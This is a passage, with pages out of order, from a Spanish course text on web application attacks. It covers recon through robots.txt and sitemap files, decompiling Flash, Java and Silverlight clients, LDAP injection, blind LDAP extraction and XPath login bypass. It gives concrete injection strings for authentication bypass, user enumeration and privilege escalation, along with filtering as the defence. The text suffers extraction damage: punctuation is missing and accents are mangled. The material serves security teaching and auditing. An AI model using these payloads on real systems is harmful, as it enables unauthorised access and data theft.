y ldquotestrdquo pueden resultar interesantes para comenzar a realizar una revisioacuten de
seguridad
Otra manera de encontrar directorios y ficheros ocultos en una aplicacioacuten es la
buacutesqueda del fichero robotstxt Este fichero es usado por los administradores
de sitios web para evitar que Google y otros buscadores indexen zonas que
no desean
CC-BY-NC-ND bull PID_00191662 66 Ataques a aplicaciones web
Figura 48 Ejemplo de fichero robotstxt
El problema es que mucha gente no entiende completamente el concepto de
este fichero antildeadiendo a eacutel todas las rutas que no quieren que se indexen
aunque no esteacuten enlazados desde ninguacuten sitio (recordemos que los buscado-
res solo indexan si se realiza un enlace desde alguacuten sitio) Por ello podemos
encontrarnos con ficheros robotstxt que contienen referencias a zonas admi-
nistrativas de pruebas privadas
Otro fichero que puede darnos mucha informacioacuten y que al contrario de
los anteriores es informacioacuten puacuteblica es el fichero sitemapxml El fichero
sitemapxml es un fichero propuesto por Google como una manera de indi-
carle al buscador cuaacuteles son las paacuteginas maacutes interesantes de un sitio web y
cuaacuteles son las menos actualizadas Esta informacioacuten parece obvia y podemos
descubrirla nosotros mismos navegando por la paacutegina Sin embargo es de vital
importancia pues nos ahorra tiempo en navegar por el sitio y con una sola
peticioacuten obtenemos un esquema de la estructura del mismo A continuacioacuten
se muestra un ejemplo de un fichero sitemapxml
ltxml version=10 encoding=UTF-8gt
lturlset xmlns=httpwwwsitemapsorgschemassitemap09gt
lturlgt
ltlocgthttpwwwacomltlocgt
ltlastmodgt2005-01-01ltlastmodgt
ltchangefreqgtmonthlyltchangefreqgt
ltprioritygt08ltprioritygt
lturlgt
lturlgt
ltlocgthttpwwwacomnewsltlocgt
ltchangefreqgtweeklyltchangefreqgt
lturlgt
lturlgt
ltlocgthttpwwwacomarchiveltlocgt
ltlastmodgt2004-12-23ltlastmodgt
changefreqgtweeklyltchangefreqgt
CC-BY-NC-ND bull PID_00191662 67 Ataques a aplicaciones web
lturlgt
lturlgt ltlocgthttpwwwacomfaqltlocgt
ltlastmodgt2004-12-23T180015+0000ltlastmodgt
ltprioritygt03ltprioritygt
lturlgt
lturlgt ltlocgthttpwwwacomaboutltlocgt
ltlastmodgt2004-11-23ltlastmodgt
lturlgt
lturlsetgt
61 Descompiladores de applets web
611 Flash
Flash se ha puesto cada vez maacutes de moda como una manera de ofrecer una
interfaz atractiva al usuario final En la actualidad hay multitud de paacuteginas
que hacen un uso casi abusivo de esta tecnologiacutea Pero debemos tener en con-
sideracioacuten algo importante y es que Flash no es maacutes que la capa de presenta-
cioacuten sobre la capa de datos y nunca una uacutenica capa que se encarga de todo
aunque a veces ocurre
Es por ello por lo que estas paacuteginas en Flash si cargan datos dinaacutemicamente
han de llamar a paacuteginas que se los devuelvan en funcioacuten de los paraacutemetros
proporcionados Estos paraacutemetros podriacutean ser vulnerables a las inyecciones de
coacutedigo que se comentaron anteriormente Estas llamadas a ficheros externos
se pueden observar faacutecilmente usando un sniffer del protocolo HTTP
Un ejemplo claro de esto son las paacuteginas que usan un reproductor de audio
en Flash y en las que podemos descargar los ficheros mp3 sin necesidad de ver
el coacutedigo fuente del fichero Flash
CC-BY-NC-ND bull PID_00191662 68 Ataques a aplicaciones web
Figura 49 Captura del fichero mp3 reproducido desde unreproductor web
Tambieacuten es posible en ficheros Flash la descompilacioacuten de los ficheros dando
lugar a un pseudocoacutedigo legible que permitiriacutea a un atacante conocer coacutemo
actuacutea internamente el fichero Ademaacutes es posible convertir el coacutedigo a un en-
samblador de ActionScript7 que podemos modificar y volver a compilar daacuten-
donos la posibilidad por ejemplo de incluir coacutedigo Javascript dentro de un
fichero Flash
Existen muacuteltiples programas para realizar esta accioacuten y aquiacute vamos a mostrar
coacutemo realizar esto mediante el programa Flasm de descarga gratuita
La aplicacioacuten se ejecuta desde consola Recibe el paraacutemetro ndashd para descompi-
lar el fichero swf que recibe Al volcar el coacutedigo por pantalla necesitamos redi-
rigir hacia un fichero de texto la salida del programa En este ejemplo vamos
a realizar la accioacuten con un pequentildeo juego Flash
Figura 50 Ejecucioacuten del comando flasmexe
Este comando parsea el fichero swf y extrae el coacutedigo asociado a eacutel Logra
extraer el coacutedigo y convertirlo en un lenguaje parecido al ensamblador
(7)Es el lenguaje usado internamen-te para programar las aplicacio-nes Flash Tiene una sintaxis pare-cida a Javascript y es un lenguajeinterpretado lo cual significa quepodemos lograr extraer el coacutedigofuente original del fichero swf
CC-BY-NC-ND bull PID_00191662 69 Ataques a aplicaciones web
Figura 51 Volcado del coacutedigo del fichero swf
Conocer el coacutedigo fuente de un fichero swf nos puede ayudar a entender coacutemo
funciona la aplicacioacuten a buscar fallos de seguridad en el coacutedigo o a localizar las
URL a las que hace referencia para cargar informacioacuten dentro de la aplicacioacuten
Flash Una vez localizadas estas URL seriacutea cuestioacuten de probar sobre ellas los
fallos de seguridad comentados en capiacutetulos anteriores
612 Java
Al igual que con los ficheros Flash aunque con menos popularidad en la ac-
tualidad existen los llamados applets Java pequentildeas aplicaciones que se eje-
cutan dentro de nuestro navegador
Java se ejecuta sobre una maacutequina virtual se puede ejecutar el mismo coacutedigo
en cualquier ordenador que implemente la maacutequina virtual de Java Esto tiene
muchas ventajas a la hora de exportar nuestra aplicacioacuten Sin embargo esto
tambieacuten nos permite poder extraer el coacutedigo exactamente igual que lo haciacutea-
mos en Flash
Para realizar esta accioacuten existen programas que efectuacutean esta conversioacuten y nos
muestran el coacutedigo Java original En la captura siguiente el programa usado
es Java Decompiler un programa gratuito que nos permitiraacute realizar estas ac-
ciones
CC-BY-NC-ND bull PID_00191662 70 Ataques a aplicaciones web
Figura 52 Pantalla principal del Java Decompiler
613 NET
Microsoft ha sumado su plataforma NET a la web Existen las aplicaciones
ASPNET que se ejecutan del lado del servidor y que no vamos a poder auditar
maacutes allaacute de los paraacutemetros que reciba Sin embargo estaacute poco a poco expan-
dieacutendose una nueva tecnologiacutea llamada Silverlight Silverlight es un compila-
do NET que se carga desde el servidor mediante un plugin en nuestro navega-
dor Esto al igual que Flash y Java nos permite analizar el coacutedigo fuente de
la aplicacioacuten Silverlight
Figura 53 Aplicacioacuten de muestra de Silverlight
CC-BY-NC-ND bull PID_00191662 71 Ataques a aplicaciones web
En la captura anterior se puede observar una aplicacioacuten Silverlight muy simple
Nos va a solicitar usuario y contrasentildea para lograr entrar Esta aplicacioacuten estaacute
programada para que compruebe los datos introducidos con unos datos que
estaacuten escritos dentro de la aplicacioacuten Esto es un grave fallo de seguridad y
vamos a ver coacutemo analizar el fichero para sacar el usuario y la contrasentildea
vaacutelidos El detalle de coacutedigo Javascript seriacutea
Para descargar una aplicacioacuten Silverlight debemos localizar dentro del coacutedigo
HTML la seccioacuten de coacutedigo que realice la carga del fichero XAP Este fichero
contiene todo el coacutedigo de la aplicacioacuten Silverlight y seraacute lo que nuestro na-
vegador interprete
El fichero XAP contiene una serie de ficheros necesarios para la ejecucioacuten del
programa Estos ficheros son compilados de NET y pueden ser analizados me-
diante programas como NET Reflector Los ficheros contenidos en este fiche-
ro pueden ser extraiacutedos mediante el uso de cualquier programa descompresor
pues realmente es un fichero ZIP
Figura 54ndash Fichero xap descomprimido
Una vez descomprimido se nos muestran una serie de archivos Estos archivos
contienen informacioacuten referente a la interfaz usada por la aplicacioacuten pero
realmente los datos importantes se encuentran en el fichero Test001dll (en el
ejemplo actual) Este fichero puede ser descompilado mediante el programa
indicado anteriormente y acceder al coacutedigo fuente interno En este caso se
observan dos clases principales App y MainPage
CC-BY-NC-ND bull PID_00191662 72 Ataques a aplicaciones web
Figura 55 Detalle del programa descompilado
En la imagen anterior observamos coacutemo en la clase MainPage existe un meacuteto-
do btnOK_Click Este meacutetodo es el llamado cuando pulsamos sobre el botoacuten
de Entrar de la aplicacioacuten En el coacutedigo asociado vemos coacutemo se comprueba el
nombre de usuario con la cadena ldquotestrdquo y la clave con la cadena ldquomelonrdquo
Tanto Silverlight como los applets Java o las aplicaciones Flash son una mera
forma de poner un contenido de una manera maacutes vistosa para el usuario Sin
embargo a veces los desarrolladores web lo usan como un lenguaje de progra-
macioacuten web completamente vaacutelido algo que se ha demostrado muy inseguro
CC-BY-NC-ND bull PID_00191662 73 Ataques a aplicaciones web
Bibliografiacutea
Andreu A (2006) Professional Pen Testing for Web Applications Ed Wrox
Clarke J (2009) SQL Injection Attacks and defense E Syngress
Grossman J et al (2007) Xss Attacks Cross Site Scripting Exploits And Defense Ed Syngress
Scambray J Shema M and Sima C (2006) Hacking Expose Web Applications Ed Mc-Graw-HillOsborne Media
Stuttard D (2007) The Web Application Hackers Handbook Discovering and Exploiting Secu-rity Flaws Ed Wiley
CC-BY-NC-ND bull PID_00191662 34 Ataques a aplicaciones web
A partir de este punto vamos a analizar diferentes tipos de inyecciones LDAP
que pueden suponer un riesgo de seguridad en los sistemas LDAP que esteacuten
siendo accedidos por aplicaciones web ldquoORrdquo LDAP Injection ldquoANDrdquo LDAP In-
jection y Blind LDAP Injection
214 ldquoORrdquo LDAP Injection
En este entorno nos encontrariacuteamos con que el programador ha creado una
consulta LDAP con un operador OR y uno o los dos paraacutemetros son solicitados
al usuario
(|(atributo1=valor1)(atributo2=valor2))
Supongamos en el ejemplo del aacuterbol LDAP que tenemos una consulta inyec-
table del siguiente tipo (|(cn=D)(ou=Groups)) Es decir que devuelve to-
dos los objetos cuyo valor en ldquocnrdquo comience por ldquoDrdquo o cuyo valor en ldquoourdquo sea
ldquoGroupsrdquo Al ejecutarla obtenemos
Figura 20 Consulta OR sin inyeccioacuten
Si esta consulta sufriera una inyeccioacuten de coacutedigo en el primer paraacutemetro po-
driacuteamos realizar una consulta que nos devolviera la lista de usuarios almace-
nados Para ello realizamos la inyeccioacuten en el primer valor de la siguiente ca-
dena void)(uid=))(|(uid=
CC-BY-NC-ND bull PID_00191662 35 Ataques a aplicaciones web
Figura 21 Lista de usuarios obtenida tras la inyeccioacuten
Al formarse la consulta LDAP esta quedaraacute construida de la siguiente forma (|
(cn=void)(uid=))(|(uid=)(ou=Groups)) permitiendo obtener la lis-
ta de todos los usuarios del aacuterbol LDAP
Otro ejemplo de esta teacutecnica es la siguiente aplicacioacuten de gestioacuten interna en
este caso tenemos un aplicativo que lanza una consulta LDAP del siguiente
tipo
(|(type=outputDevices)(type=printer))
Figura 22 Listado de impresoras y dispositivos de salida
Si el paraacutemetro type que va por GET en la URL es inyectable un atacante podriacutea
modificar el filtro de consulta LDAP con una inyeccioacuten del siguiente tipo
CC-BY-NC-ND bull PID_00191662 36 Ataques a aplicaciones web
(|(type=outputDevices)(type=printer)(uid=))(|(type=void))
Con esa inyeccioacuten el atacante obtendriacutea en este ejemplo la lista de todos los
usuarios como se puede ver en la figura 23
Figura 23 Acceso al listado de usuarios mediante OR LDAP Injection
215 ldquoANDrdquo LDAP Injection
En el caso de inyecciones en consultas LDAP que lleven el operador AND el
atacante estaacute obligado a utilizar como valor en el primer atributo algo vaacutelido
pero se pueden utilizar las inyecciones para mediatizar los resultados y por
ejemplo realizar escaladas de privilegios En este caso nos encontrariacuteamos con
una consulta del siguiente tipo
(amp(atributo1=valor1)(atributo2=valor2))
Supongamos un entorno en el que se muestra la lista de todos los documentos
a los que un usuario con pocos privilegios tiene acceso mediante una consulta
que incluye el directorio de documentos en un paraacutemetro inyectable Es decir
la consulta original es
(amp(directorio=nombre_directorio)(nivel_seguridad=bajo))
Un atacante podriacutea construir una inyeccioacuten del siguiente modo para poder
acceder a los documentos de nivel de seguridad alto
(amp(directorio=almacen)(nivel_seguridad=alto))(|(directorio=almacen)(nivel_seguridad=bajo))
Para conseguir este resultado se habraacute inyectado en el nombre del directorio
la siguiente cadena
almacen)(nivel_seguridad=alto))(|(directorio=almacen
CC-BY-NC-ND bull PID_00191662 37 Ataques a aplicaciones web
Un ejemplo de este ataque se puede ver en la siguiente aplicacioacuten En primer
lugar se va a realizar un acceso no autorizado a la aplicacioacuten web utilizando
una inyeccioacuten que evite la comprobacioacuten de la contrasentildea La aplicacioacuten lanza
una consulta LDAP del tipo
(amp(uid=valor_de_user)(password=valor_de_password)
El atacante inyectando la cadena slisberger)(amp)) en el valor del USER
obtendriacutea una consulta LDAP que siempre devolveriacutea al usuario slisberger
y por lo tanto conseguiriacutea el acceso a la aplicacioacuten
Figura 24 Acceso no autorizado mediante AND LDAP Injection
Y como se puede ver en la figura 25 el usuario consigue acceso al directorio
privado del usuario slisberger En este caso se ha utilizado el filtro (amp)
que es el equivalente al valor TRUE en los filtros LDAP
Figura 25 Directorio home del usuario
Como se puede ver en este caso el usuario ha accedido con privilegios de nivel
bajo y en la aplicacioacuten de mostrar documentos que se describioacute al principio
de este apartado solo tendriacutea acceso a los documentos de nivel bajo como se
puede ver en la figura 26
CC-BY-NC-ND bull PID_00191662 38 Ataques a aplicaciones web
Figura 26 Listado de documentos de nivel bajo
La consulta que se estaacute ejecutando es
(amp(directory=nombre_directorio)(level=low))
El valor de level lo estaacute cogiendo la aplicacioacuten de las variables de sesioacuten del
servidor sin embargo un atacante podriacutea inyectar en el nombre del directorio
el siguiente comando Documents)(level=High) De esta forma el coman-
do que se ejecutariacutea seriacutea
(amp(directory=Documents)(level=High))(level=low))
Permitiendo al atacante acceder a todos los documentos Se ha producido una
elevacioacuten de privilegios
CC-BY-NC-ND bull PID_00191662 39 Ataques a aplicaciones web
Figura 27 Elevacioacuten de privilegios mediante AND LDAP Injection
22 Blind LDAP Injection
Una de las evoluciones de las inyecciones de comandos son las acciones a
ciegas los ataques ldquoblindrdquo Es comuacuten encontrarse ya documentados los ataques
Blind SQL Injection pero de los ataques Blind LDAP Injection sin embargo no
se ha hablado nada Tambieacuten es posible realizar un ataque a ciegas para extraer
informacioacuten de un aacuterbol LDAP
El entorno para realizar un ataque a ciegas suele ser una aplicacioacuten web que
cumple dos caracteriacutesticas
bull La aplicacioacuten no muestra los resultados obtenidos de la consulta realizada
al aacuterbol LDAP
bull El uso de los resultados produce cambios en la respuesta http que el cliente
recibe
Para realizar un ataque a ciegas necesitamos poder crear la loacutegica para extraer
informacioacuten cambiando los resultados obtenidos con el filtro LDAP y obser-
vando los cambios en las respuestas http
CC-BY-NC-ND bull PID_00191662 40 Ataques a aplicaciones web
221 Blind LDAP Injection en un entorno ldquoANDrdquo
En esta situacioacuten tenemos una consulta generada en el lado del servidor del
siguiente tipo
(amp(atributo1=valor1)(atributo2=valor2))
Para realizar la inyeccioacuten debemos tener en cuenta que en un entorno AND
tenemos un paraacutemetro fijo que nos va a condicionar El entorno ideal es que el
atributo1 sea lo maacutes general posible por ejemplo objectClass o cn con lo
que podremos seleccionar casi cualquier objeto del aacuterbol Despueacutes deberemos
aplicarle un valor que sea true es decir que siempre seleccione objetos para
tenerlo fijado a valor true y utilizar como segundo atributo uno conocido que
tambieacuten nos garantice que sea true
Supongamos la siguiente consulta LDAP
(amp(objectClass=Impresoras)(impresoraTipo=Epson))
Que se lanza para saber si en el almaceacuten de una empresa hay impresoras Epson
de tal manera que el programador si recibe alguacuten objeto simplemente pinta
en la paacutegina web un icono de una impresora Epson
Estaacute claro que lo maacuteximo que conseguiremos tras la inyeccioacuten es ver o no el
icono de la impresora Bien iexclpues a ello Fijemos la respuesta positiva tal y
como hemos dicho realizando una inyeccioacuten del siguiente tipo
(amp(objectClass=)(objectClass=))(amp(objectClass=void)(impresoraTipo=Epson))
Lo que estaacute puesto en negrita seriacutea la inyeccioacuten que introduciriacutea el atacante
Esta inyeccioacuten debe devolver siempre alguacuten objeto en el ejemplo planteado
en la respuesta http veriacuteamos un icono de la impresora A partir de ahiacute podriacutea-
mos extraer los tipos de objectClass que tenemos en nuestro aacuterbol LDAP
222 Reconocimiento de clases de objetos de un aacuterbol LDAP
Sabiendo que el filtro (objectClass=) siempre devuelve alguacuten objeto deberiacutea-
mos centrarnos en el segundo filtro realizando un recorrido de la siguiente
forma
(amp(objectClass=)(objectClass=users))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=)(objectClass=personas))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=)(objectClass=usuarios))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=)(objectClass=logins))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=)(objectClass=))(amp(objectClass=foo)(impresoraTipo=Epson))
CC-BY-NC-ND bull PID_00191662 41 Ataques a aplicaciones web
De tal manera que todas aquellas inyecciones que devolvieran el icono de la
impresora en la paacutegina web seriacutean respuestas afirmativas que nos indicariacutean
la existencia de ese tipo de objetos
Otra forma maacutes eficiente seriacutea realizando un barrido en el espectro del alfa-
beto de posibles valores utilizando una buacutesqueda con comodines para ello
realizariacuteamos un aacuterbol que comenzariacutea por todas las letras del abecedario de
la siguiente forma
(amp(objectClass=)(objectClass=a))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=)(objectClass=b))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=)(objectClass=z))(amp(objectClass=foo)(impresoraTipo=Epson))
De tal manera que seguiriacuteamos desplegando el aacuterbol de aquellas que hubieran
dado una respuesta positiva
(amp(objectClass=)(objectClass=aa))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=)(objectClass=ab))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=)(objectClass=az))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=)(objectClass=ba))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=)(objectClass=bb))(amp(objectClass=foo)(impresoraTipo=Epson))
Y asiacute sucesivamente con lo que desplegando siempre las positivas podriacuteamos
llegar a saber el nombre de todos los objetcClass de un sistema
Figura 28 Aacuterbol de despliegue Se profundizaraacute en todas las respuestas positivas (color verde)
Este mecanismo no solo funciona para objectClass sino que seriacutea vaacutelido
para cualquier atributo que un objeto compartiera con el atributo fijo Una
vez sacados los objectClass podriacuteamos proceder a realizar el mismo reco-
CC-BY-NC-ND bull PID_00191662 42 Ataques a aplicaciones web
rrido para extraer la informacioacuten de ellos por ejemplo si queremos extraer los
nombres de todos los usuarios de un sistema bastariacutea con realizar el barrido
con la siguiente inyeccioacuten
(amp(objectClass=user)(uid=a))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=user)(uid=b))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=user)(uid=z))(amp(objectClass=foo)(impresoraTipo=Epson))
Este meacutetodo obliga a hacer un recorrido en amplitud por un aacuterbol cuya posi-
bilidad de expandirse en cada nodo siempre es igual al alfabeto completo Se
puede reducir este alfabeto realizando un recorrido para averiguar queacute carac-
teres no estaacuten siendo utilizados en ninguna posicioacuten en ninguacuten objeto utili-
zando un recorrido de la siguiente forma
(amp(objectClass=user)(uid=a))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=user)(uid=b))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=user)(uid=z))(amp(objectClass=foo)(impresoraTipo=Epson))
De esta forma se pueden excluir del alfabeto aquellos caracteres que no hayan
devuelto un resultado positivo tras este primer recorrido Si deseaacuteramos bus-
car un uacutenico valor podriacuteamos realizar una buacutesqueda binaria de cada uno de
los caracteres utilizando los operadores relacionales lt= o gt= para reducir el
nuacutemero de peticiones
En los atributos que almacenan valores numeacutericos no es posible utilizar el co-
modiacuten para ldquobooleanizarrdquo la informacioacuten almacenada es por tanto necesa-
rio realizar la buacutesqueda de valores utilizando los operadores gt= y lt=
(amp(objectClass=user)(uid=kurt)(edadgt=1)(amp(objectClass=foo)(impresoraTipo=Epson))
223 Blind LDAP Injection en un entorno ldquoORrdquo
En esta situacioacuten tenemos una consulta generada en el lado del servidor del
siguiente tipo
(|(atributo1=valor1)(atributo2=valor2))
En este entorno la loacutegica que debemos utilizar es al contrario En lugar de fijar
el valor del primer filtro a un valor siempre cierto deberemos fijarlo a un valor
siempre falso y a partir de ahiacute extraer la informacioacuten es decir realizariacuteamos
una inyeccioacuten de la siguiente forma
(|(objectClass=void)(objectClass=void))(amp(objectClass=void)(impresoraTipo=Epson))
CC-BY-NC-ND bull PID_00191662 43 Ataques a aplicaciones web
Con esta inyeccioacuten obtendremos el valor negativo de referencia En el ejemplo
planteado de las impresoras disponibles deberemos obtener un resultado sin
el icono de la impresora Luego podremos inferir la informacioacuten cuando sea
verdadero el segundo filtro
(|(objectClass=void)(objectClass=users))(amp(objectClass=void)(impresoraTipo=Epson))
(|(objectClass=void)(objectClass=personas))(amp(objectClass=void)(impresoraTipo=Epson))
(|(objectClass=void)(objectClass=usuarios))(amp(objectClass=void)(impresoraTipo=Epson))
(|(objectClass=void)(objectClass=logins))(amp(objectClass=void)(impresoraTipo=Epson))
(|(objectClass=void)(objectClass=))(amp(objectClass=void)(impresoraTipo=Epson))
De igual forma que en el ejemplo con el operador AND podriacuteamos extraer toda
la informacioacuten del aacuterbol LDAP utilizando los comodines
224 Ejemplos Blind LDAP Injection
Para mostrar la potencia de los ataques Blind LDAP Injection se ha creado
dentro de un aacuterbol LDAP sobre ADAM una estructura con objetos Printer En
la siguiente figura se pueden ver los atributos de un objeto de tipo Printer
Figura 29 Aacuterbol LDAP sobre ADAM Objeto tipo Printer
Sobre este aacuterbol LDAP trabaja una aplicacioacuten web que se conecta entre otros
repositorios a este aacuterbol para obtener informacioacuten En este caso tenemos una
aplicacioacuten programada en php llamada printerstatusphp que recibe co-
mo paraacutemetro el nombre de la impresora y construye una consulta LDAP de
la siguiente forma
(amp(cn=HP Laserjet 2100)(objectclass=printer))
El resultado es una paacutegina web en la que se accede a propiedades de la impre-
sora en concreto
CC-BY-NC-ND bull PID_00191662 44 Ataques a aplicaciones web
Figura 30 Propiedades de la impresora HP LaserJet 2100
El paraacutemetro idprinter se utiliza para construir la consulta LDAP y es vul-
nerable a LDAP Injection sin embargo no se muestra ninguno de los datos de
los objetos que se puedan seleccionar con cualquier consulta ejecutada por
lo que uacutenicamente se puede realizar una explotacioacuten a ciegas Las siguientes
capturas muestran ejemplos de coacutemo extraer informacioacuten del aacuterbol LDAP me-
diante Blind LDAP Injection
1)Fase1descubrimientodeatributos
El atacante inyecta atributos para descubrir si existen o no Cuando el atributo
no existe la consulta LDAP no devuelve ninguacuten objeto y la aplicacioacuten no
muestra datos de ninguna impresora
Hay que tener en cuenta que el comodiacuten vale uacutenicamente para los valores de
tipo alfanumeacutericos luego si el atributo fuera de otro tipo no se podriacutea descubrir
asiacute Para los tipos numeacutericos y de tipo fecha se utilizan los operadores gt= lt=
o = y para los booleanos las constantes true y false
Figura 31 Atributo IPaddress no existe o no tiene valor alfanumeacuterico
En el siguiente ejemplo el atributo distinguisedname existe y ademaacutes es de
tipo alfanumeacuterico ya que funciona perfectamente con el comodiacuten ldquordquo Esto
se puede comprobar porque la paacutegina de resultados ha devuelto datos de la
impresora que se estaba utilizando
CC-BY-NC-ND bull PID_00191662 45 Ataques a aplicaciones web
Figura 32 Atributo distinguisedname existe y tiene valor alfanumeacuterico
Como se puede ver hay diferencias entre las paacuteginas que devuelven datos y las
que no con lo que se puede automatizar la extraccioacuten de toda la informacioacuten
y el descubrimiento de los atributos simplemente comparando los resultados
HTML obtenidos
En la figura 33 se obtiene de nuevo un resultado positivo que confirma la
existencia de un atributo department
Figura 33 Atributo Department existe y tiene valor Unicode extraiacuteble
2)Fase2reduccioacutendelalfabeto
Una de las opciones que se pueden sopesar es realizar una reduccioacuten del al-
fabeto posible de valores en un campo La idea consiste en saber si existe o
no un determinado caraacutecter en un atributo Si el atributo tiene 15 caracteres
de longitud y tenemos que probar por ejemplo 28 letras por 15 caracteres
tendriacutean que realizarse un total de 420 peticiones para extraer la informacioacuten
Sin embargo se puede realizar un recorrido que nos diga si una letra pertene-
ce o no al valor De esa manera realizariacuteamos primero 28 peticiones que nos
dejaraacuten en el peor de los casos una letra distinta por cada posicioacuten es decir
15 letras Luego en el peor de los casos tendriacuteamos 15 letras x 15 posiciones
+ 28 peticiones de reduccioacuten del alfabeto es decir 253 peticiones Ademaacutes se
puede inferir que si una letra ya ha sido utilizada puede que no se vuelva a
utilizar con lo que tendriacuteamos una reduccioacuten auacuten mayor si la letra se utiliza
como uacuteltima opcioacuten dejando la probabilidad en un sumatorio de 115 + 28
es decir 148 peticiones
CC-BY-NC-ND bull PID_00191662 46 Ataques a aplicaciones web
Como conclusioacuten se puede obtener que la reduccioacuten del alfabeto es una buena
opcioacuten a la hora de extraer valores de campos
En los siguientes ejemplos vamos a ver coacutemo averiguar si un caraacutecter pertenece
o no al valor del campo
Figura 34 La letra b no pertenece al valor del atributo department porque no se obtienendatos
Figura 35 La letra n siacute que pertenece al valor del atributo department porque siacute que seobtienen datos
Esta reduccioacuten dejariacutea un conjunto de valores vaacutelidos que pueden emplearse
para extraer el valor del dato mediante un proceso de despliegue
3)Fase3despliegue
En esta fase una vez reducido el alfabeto hay que ordenar las letras obtenidas
para ello comenzaremos un proceso desde la primera posicioacuten
Figura 36 El valor de department no comienza por la letra a porque no se obtienen datos
CC-BY-NC-ND bull PID_00191662 47 Ataques a aplicaciones web
Se iraacuten probando letras hasta que se obtenga un resultado positivo que con-
firme que con ese patroacuten se devuelven datos
Figura 37 El valor de department siacute comienza por la letra f porque siacute se obtienen datos
Una vez descubierta la primera letra esta se mantendraacute fija y se procederaacute a
buscar la segunda letra sustituyendo siempre los caracteres obtenidos en la
fase de reduccioacuten del alfabeto
Figura 38 El valor de department no comienza por las letras fa porque no se obtienen datos
Figura 39 El valor de department siacute que comienza por las letras fi porque siacute que se obtienendatos
Este proceso se repetiriacutea con todos los atributos descubiertos y hasta que se
hubieran descubierto todas las letras permitiendo extraer informacioacuten oculta
de los objetos del aacuterbol LDAP
LDAP es una tecnologiacutea en expansioacuten cuya implantacioacuten en los sistemas de di-
rectorio y metadirectorio la hacen cada diacutea maacutes popular Los entornos intranet
realizan uso intensivo de esta tecnologiacutea para ofrecer sistemas de Single Sing-
On e incluso es comuacuten encontrar entornos LDAP en los servicios de Internet
CC-BY-NC-ND bull PID_00191662 48 Ataques a aplicaciones web
Esta popularidad hace que sea necesario incluir las pruebas anteriores dentro
de los procesos de auditoriacutea de seguridad de las aplicaciones web Las pruebas
de inyecciones de auditoriacutea que se estaban realizando hoy en diacutea siguiendo
la documentacioacuten existente son de poca ayuda pues en los entornos maacutes
comunes como ADAM u OpenLDAP no funcionan
La solucioacuten para proteger las aplicaciones frente a este tipo de inyecciones
consiste como en otros entornos de explotacioacuten en filtrar los paraacutemetros en-
viados desde el cliente En este caso filtrar operadores pareacutentesis y comodines
para que nunca un atacante sea capaz de inyectar loacutegica dentro de nuestra
aplicacioacuten
23 XPath
XPath es un lenguaje que permite la buacutesqueda de informacioacuten en do-
cumentos XML por medio de expresiones especiacuteficas para su estructura
Estaacute pensado para optimizar los tiempos de buacutesqueda haciendo uso de
la organizacioacuten de nodos que poseen los ficheros XML
Como cualquier medio para el almacenamiento y buacutesqueda de datos es posi-
ble implementarlo en aplicaciones web de modo que pueden sustituir a los
SGBD (sistema gestor de base de datos) basados en SQL
231 XPath injection y Blind XPath Injection
XPath Injection es una vulnerabilidad que radica en la modificacioacuten de los
paraacutemetros de buacutesqueda a la hora de formar una query XPath
Una inyeccioacuten XPath sucede cuando se inserta coacutedigo XPath dentro de la sen-
tencia y ejecuta el coacutedigo inyectado dentro del motor de buacutesqueda XML
Este tipo de vulnerabilidades basadas en inyecciones (XPath Injection SQL
Injection LDAP Injection) son fallos de seguridad causados por una mala
programacioacuten de la aplicacioacuten que hace la conexioacuten contra el motor de buacutes-
queda sin importar que la aplicacioacuten sea de escritorio o web
Para conocer coacutemo funciona esta teacutecnica en mayor profundidad vamos a su-
poner un caso praacutectico Tenemos una aplicacioacuten web que hace una conexioacuten
contra un aacuterbol XML con la siguiente estructura
ltxml version=10 encoding=UTF-8gt
ltusuariosgt
ltusuario login=admin password=t1oviv0 nivel=3 gt
ltusuario login=usuario password=miPasswordXml nivel=1 gt
ltusuario login=invitado password=invitado nivel=0 gt
CC-BY-NC-ND bull PID_00191662 49 Ataques a aplicaciones web
ltusuariosgt
La aplicacioacuten web maneja un sistema de autenticacioacuten basado en XML donde
para realizar la autentificacioacuten tiene un formulario en el que solicita un usuario
y un password con los que posteriormente formara una query de XPath con
la siguiente estructura
string xpath = usuariosusuario[login= + usuario + and password= + password + ]
En un entorno seguro esta query de XPath no devolveraacute ninguacuten resultado posi-
tivo a no ser que el usuario y el password correspondan con los establecidos en
el documento XML pero si se trata de un entorno inseguro donde los campos
de entrada (usuario y password) no estaacuten filtrados seriacutea posible realizar una
inyeccioacuten
Si un usuario introdujera en el campo password un valor como abclsquo or
lsquoarsquo=rsquoarsquo or lsquoarsquo=rsquob seriacutea suficiente para saltarse el sistema de login y acceder
a la zona privada ya que el motor de buacutesqueda XML devolveriacutea un resultado
positivo Teniendo en cuenta que primero se evaluacutean los operadores AND y
posteriormente los OR el resultado booleano que tratariacutea el motor de buacutesque-
da seriacutea el que nos muestra el siguiente ejemplo
Figura 40 Evaluacioacuten de los paraacutemetros en XPath
Como hemos visto con este tipo de inyecciones es posible hacer modificacio-
nes en la query para obtener el resultado deseado (truefalse) pero es posible ir
mucho maacutes allaacute y averiguar la estructura del aacuterbol XML con todos sus nodos
atributos y elementos
Realizar este tipo de ataques es posible Se utiliza una variacioacuten de ldquoXPath
Injectionrdquo llamada ldquoBlind XPath Injectionrdquo la cual consiste en averiguar valores
del aacuterbol XML basaacutendose en el resultado booleano que devuelve la aplicacioacuten
vulnerable
Retomando el caso praacutectico anterior supongamos que cuando realizamos login
en la aplicacioacuten (introduciendo abclsquo or lsquoarsquo=rsquoarsquo or lsquoarsquo=rsquob) la aplicacioacuten
devuelve un mensaje de autentificacioacuten donde dice ldquoBienvenidordquo y en caso
de que la query XPath devuelva un resultado negativo (cuando se realiza una
